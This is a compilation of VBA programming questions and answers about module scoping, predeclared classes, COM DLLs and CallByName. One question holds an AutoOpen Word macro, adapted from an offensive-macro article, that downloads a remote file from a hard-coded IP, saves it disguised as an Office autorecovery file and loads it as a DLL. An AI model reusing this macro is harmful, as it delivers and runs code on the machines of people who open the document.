How to reference an object from Code(After of Page Setup, before References) ?
For example, given this class:
How can I use that object in Code pane, I tried this but it doesn't work:
Public Shared Function Test() As String
Test = "Hello " & m_Class1.SomeFunction()
End Function
I tried this too, not working too:
Public Shared Function Test() As String
Test = "Hello " & Code.m_Class1.SomeFunction()
End Function
Note, I don't have the assembly's source code, I cannot make my changes directly there
AFAIK you can't.
Whatever you write in the Code pane has to be static (Shared in vb), so you should wrap your "ClassLibrary2.Class1" in a static method and call it like ClassLibrary2.MyStaticClass.MyStaticMethod() (or in a new assembly, given that you can't recompile the original one)
Note that indeed you can call your instance m_Class1 instance from within the expression box of RS items like Code.m_Class1.SomeMethod()
Related
I've had no trouble creating a new object globally, but when I try to assign values to the object globally, a Compile Error pops up (Expected end of statement).
Just started with VBA, I feel like I'm going about this the wrong way. Couldn't find anything about this online.
I've listed the Class and Sub below.
Class
'Class name: FileManager
Option Explicit
Public FileName, Path As String
Public Printer As Integer
Module Variable declaration
Public Scripts As Worksheet
Public CDM As New FileManager
Public CDM.Printer = 1 '<--Where the error occurs
I've prepared a standard module, MyPath, which contains a few useful functions. In this case standard module is better for me than a class module.
Much more comfortable to write:
Dim ext As String
ext = MyPath.getFileExtension("test.docx") ' returns "docx"
Instead of:
Dim Pth As MyPath
Set Pth = New MyPath
Dim ext As String
ext = Pth.getFileExtension("test.docx")
or something like
Dim ext As String
With New MyPath
ext = .getFileExtension("test.docx")
End With
The only problem with my "pseudo-static-class" module is its scope (and IntelliSense use).
Dim ext As String
ext = getFileExtension("test.docx") ' This works, but I don't want it to
What I would like to achieve is:
If one doesn't specify MyPath when calling a function, IntelliSense does not suggest the methods from the module and they cannot be used.
In order to use any methods from the MyPath module, one needs to type in MyPath., and after the dot IntelliSense should suggest methods from the module.
I've tried some combinations with Option Private Module, Private functions, but no one works the way I described.
I am preparing a lot of classes and similar modules and I would keep everything in order.
edit
In short, I would like to force the compiler to throw an error if I don't specify the "parent" module for the function or sub. At the same time, if I type the name of my module I would be able to use IntelliSense (no solutions with run/call, just simply type module name, dot and select the member).
Another solution, inspired by VBA's Err object, is to implement a function that returns a reference to your "static object"
Public Static Function MyPath() As PathObject
Dim result As PathObject
If result Is Nothing Then Set result = New PathObject
Set MyPath = result
End Function
Where PathObject is the class that contains all your pseudo static methods.
This approach has the added bonus that the caller cannot set their MyPath reference to Nothing - in case you decide your Static module should be stateful (perhaps for some costly initialisation routine)
PS I think the Static Function syntax is cute, but you could equally just declare result with the static keyword
In fact you could possibly make it even more concise with
Public Static Function MyPath() As PathObject
Dim result As New PathObject
Set MyPath = result
End Function
Not tested, but should have the behaviour that MyPath is instantiated only when used for the first time, but thereafter hangs around indefinitely
The behavior you describe is actually achievable via a Predeclared Class, but will require a little prep work.
To make a predeclared class, you can write up a class with whatever functions you want. Then export it to text (.cls) and edit it, setting the Attribute VB_PredeclaredId to True. Then re-import it. My Class is called PredeclaredClass and looks like this in the .cls file:
VERSION 1.0 CLASS
BEGIN
MultiUse = -1 'True
END
Attribute VB_Name = "PredeclaredClass"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_Ext_KEY = "Rubberduck" ,"Predeclared Class Module"
Option Explicit
Public Sub ThisIsVisible()
End Sub
After you import this class, you can now use its methods only by referencing the class module (and no new instance needed).
You will not see it in intellisense nor be able to use its function without the module reference. The compiler will complain, provided you are using Option Explicit
By the way, Rubberduck makes this pretty easy to do this without the need to export/import modules.
I'm reading this article:
https://labs.f-secure.com/archive/dll-tricks-with-vba-to-improve-offensive-macro-capability/
and for some reason I can't seem to replicate the second Dll trick i.e Storing Seemingly "Legitimate" Office Files That Are Really DLLs.
What I've already tried is created a simple c# DLL with an exported function that only displays a Message-box saying ".NET Assembly Running".
The test.dll is run like so from the command line:
rundll32 test.dll,TestExport
But when I follow the article for some reason the code keeps failing.
Here's my modified VBA after following the article:
Private Declare Sub TestExport Lib "Autorecovery save of Doc3.asd" ()
Sub AutoOpen()
Dim PathOfFile As String
PathOfFile = Environ("AppData") & "\Microsoft\Word"
VBA.ChDir PathOfFile
Dim remoteFile As String
Dim HTTPReq As Object
remoteFile = "http://192.168.100.2:8443/test.js"
storein = "Autorecovery save of Doc3.asd"
Set HTTPReq = CreateObject("Microsoft.XMLHTTP")
HTTPReq.Open "GET", remoteFile, False
HTTPReq.send
If HTTPReq.Status = 200 Then
Set output = CreateObject("ADODB.Stream")
output.Open
output.Type = 1
output.Write HTTPReq.responseBody
output.SaveToFile storein, 2
output.Close
Module2.Invoke
End If
End Sub
Sub Invoke()
TestExport
End Sub
And here's the C# code for the DLL:
using System;
using System.Runtime.InteropServices;
using System.Windows.Forms;
namespace Test
{
class Test
{
[DllExport]
public static void TestExport()
{
MessageBox.Show(".NET Assembly Running");
}
}
}
I expected it to work just don't know why it didn't fit my VBA.
It does not work like that in VBA. The DLL has to be a COM DLL and to be loaded by the VBA project reference. That also means that the DLL has to be registered in the Windows registry. So put your C# away and start VB.NET. Create a dll project and choose a COM-CLASS from the Templates.
Look at the first line here (
<Assembly: CommandClass(GetType(ComClass3))> '<<<<add this !!!!
<ComClass(ComClass3.ClassId, ComClass3.InterfaceId, ComClass3.EventsId)>
Public Class ComClass3
#Region "COM-GUIDs"
Public Const ClassId As String = "94b64220-ce6e-400d-bcc0-d45ba56a14f7"
Public Const InterfaceId As String = "89a8c04e-e1fb-4950-85b2-7c1475156701"
Public Const EventsId As String = "af56d401-6492-4172-bf1e-10fa5e419aa4"
#End Region
Public Sub New()
MyBase.New()
End Sub
sub test
'your code
end sub
End Class
The fun part is that by the assembly advice all your subs and functions show up in VBA without any other action.
TO GET THIS WORK START VS IN ADMINISTRATOR MODE !!! Otherwise it has not the needed rights to also automatically do the dll registering.
If you are happy use some tool to convert the code to c#. Its also possible just to do the interface as a wrapper in VB.net :) Now you can reference the dll in VBA and do all the things with her like you can do with other dlls which work in VBA. Like:
SUB tester
dim x= new comclass3
x.test
end sub
Some pitfalls i forget to mention. VBA and .NET do not speak all the time the same string language. Stupidly one way is converted automatically - the way back not. One talks for example in UTF8 an the other in BSTR. So if nothing or garbage is returned most likely you has not chosen the wrong string converter. I use the auto detect converter from .net if needed. You can get crazy by this. Also do not mix 32bit and 64 bit code or pointers. Autocad for example will nuke up immediatly by this. (Whatever genius drawing you might have inside - it doesnt cares).
I have a module ModuleA containing a Public function that the user will use on the spreadsheet:
Public Function UserCanSeeThis() As String
UserCanSeeThis = "Hello, " & UserCannotSeeThisButModuleACan() & " user"
End Function
I have a module ModuleB which contains a function that I want to use in ModuleA, but I don't want the user to see in the list of available functions when writing = into a cell or when reading the formulae dictionary:
Function UserCannotSeeThisButModuleACan() As String
UserCannotSeeThisButModuleACan = "my dear"
End Function
How should I declare the function in ModuleB so that ModuleA can see it, but the user cannot?
p.s. I've searched the site and only found the "solution" for Sub, I can declare the Sub as Private and then call it from the other module with Application.Run "mySub".
But I was hoping there was some more developed concept of "friendship" in VBA though.
Specify Option Private Module at the top of ModuleB; public members won't be (visibly) exposed to the user, but will be readily available from anywhere inside the VBA project.
Your Private+Application.Run hack is.. well, a hack. Don't do that - make/leave public members Public, and hide the module from the macros list with Option Private Module.
It is easy to call a function inside a classModule using CallByName
How about functions inside standard module?
''#inside class module
''#classModule name: clsExample
Function classFunc1()
MsgBox "I'm class module 1"
End Function
''#
''#inside standard module
''#Module name: module1
Function Func1()
MsgBox "I'm standard module 1"
End Function
''#
''# The main sub
Sub Main()
''# to call function inside class module
dim clsObj as New clsExample
Call CallByName(clsObj,"ClassFunc1")
''# here's the question... how to call a function inside a standard module
''# how to declare the object "stdObj" in reference to module1?
Call CallByName(stdObj,"Func1") ''# is this correct?
End Sub
I think jtolle's response addressed the question best - the small reference to Application.Run may be the answer. The questioner doesn't want to use simply func1 or Module1.func1 - the reason one would want to use CallByName in the first place is that the desired function.sub name is not known at compile time. In this case, Application.Run does work, e.g.:
Dim ModuleName As String
Dim FuncName As String
Module1Name = "Module1"
FuncName = "func1"
Application.Run ModuleName & "." & FuncName
You can also prepend the Project Name before the ModuleName and add another period ".".
Unfortunately, Application.Run does not return any values, so while you can call a function, you won't get its return value.
Although it is an old question and OP asked for CallByName in a standard module, the correct pieces of advice are scattered through answers and comments, and some may not be that accurate, at least in 2020.
As SlowLearner stated, Application.run DOES return a Variant, and in that way both branchs below are equivalent, except by handling errors, as commented around Horowitz's answer:
Dim LoadEnumAndDataFrom as Variant
'FunctionName returns a Variant Array
if fCallByName then
LoadEnumAndDataFrom = CallByName(ClassObj, "FunctionNameAtClass", VbMethod)
else
'After moving back function for a standard module
LoadEnumAndDataFrom = Application.Run("StandardModuleName" & "." & "FunctionNameAtStandard")
endif
I actually just did this above and had no errors at all, tested in Word, Excel and Access, and all return the same Array.
Unfortunately, there is an exception: Outlook's object Model is too protected and it does not have the Run method.
CallByName works only with class objects.
If your subroutine is in a standard module, you can do this:
Sub Main()
Module1.Func1
End Sub
If it's a function, then you'll probably want to capture the return value; something like this:
Sub Main()
Dim var
var = Module1.Func1
End Sub
Modules in VB6 and VBA are something like static classes, but unfortunately VB doesn't accept Module1 as an object. You can write Module1.Func1 like C.Func1 (C being an instance of some Class1), but this is obviously done by the Compiler, not at runtime.
Idea: Convert the Module1 to a class, Create a "Public Module1 as Module1" in your Startup-module and "Set Module1 = New Module1" in your "Sub Main".
Unfortunately it is not possible to prepend the ProjectName before the ModuleName and add another period "." In MS Word this throws a runtime error 438. The call is restricted to the use of simply ModuleName.ProcName.